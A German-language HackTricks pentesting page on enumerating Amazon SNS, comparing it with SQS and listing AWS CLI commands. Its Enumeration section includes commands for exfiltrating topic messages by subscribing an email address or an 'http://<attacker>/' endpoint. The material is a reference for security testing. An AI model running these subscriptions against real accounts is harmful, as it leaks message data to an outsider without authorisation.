AWS - SNS Enum

Unterstützen Sie HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) wird als vollständig verwalteter Messaging-Dienst beschrieben. Er unterstützt sowohl Anwendung-zu-Anwendung (A2A) als auch Anwendung-zu-Person (A2P) Kommunikationsarten.

Wichtige Funktionen für die A2A-Kommunikation umfassen Publish/Subscribe (Pub/Sub)-Mechanismen. Diese Mechanismen führen Themen ein, die entscheidend sind, um hochgradige, push-basierte, viele-zu-viele Messaging zu ermöglichen. Diese Funktion ist besonders vorteilhaft in Szenarien, die verteilte Systeme, Microservices und ereignisgesteuerte serverlose Architekturen umfassen. Durch die Nutzung dieser Themen können Publizierungssysteme Nachrichten effizient an eine breite Palette von Abonnentensystemen verteilen und ein Fanout-Messaging-Muster erleichtern.

Unterschied zu SQS

SQS ist ein warteschlangenbasierter Dienst, der Punkt-zu-Punkt-Kommunikation ermöglicht und sicherstellt, dass Nachrichten von einem einzelnen Verbraucher verarbeitet werden. Er bietet mindestens einmalige Zustellung, unterstützt Standard- und FIFO-Warteschlangen und ermöglicht die Nachrichtenaufbewahrung für Wiederholungen und verzögerte Verarbeitung. Im Gegensatz dazu ist SNS ein Publish/Subscribe-basierter Dienst, der eins-zu-viele Kommunikation ermöglicht, indem Nachrichten gleichzeitig an mehrere Abonnenten gesendet werden. Er unterstützt verschiedene Abonnementendpunkte wie E-Mail, SMS, Lambda-Funktionen und HTTP/HTTPS und bietet Filtermechanismen für gezielte Nachrichtenübermittlung. Während beide Dienste die Entkopplung zwischen Komponenten in verteilten Systemen ermöglichen, konzentriert sich SQS auf warteschlangenbasierte Kommunikation, während SNS ereignisgesteuerte, Fan-out-Kommunikationsmuster betont.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Beachten Sie, dass wenn das Thema vom Typ FIFO ist, nur Abonnenten, die das Protokoll SQS verwenden, genutzt werden können (HTTP oder HTTPS können nicht verwendet werden).

Stellen Sie außerdem sicher, dass Sie die richtige Region in --region angeben, auch wenn die --topic-arn die Region enthält, da Sie sonst einen Fehler erhalten, der darauf hinweist, dass Sie keinen Zugriff haben, aber das Problem die Region ist.

Unauthenticated Access

AWS - SNS Unauthenticated Enum

Privilege Escalation

AWS - SNS Privesc

Post Exploitation

AWS - SNS Post Exploitation

Persistence

AWS - SNS Persistence

References

Support HackTricks

Last updated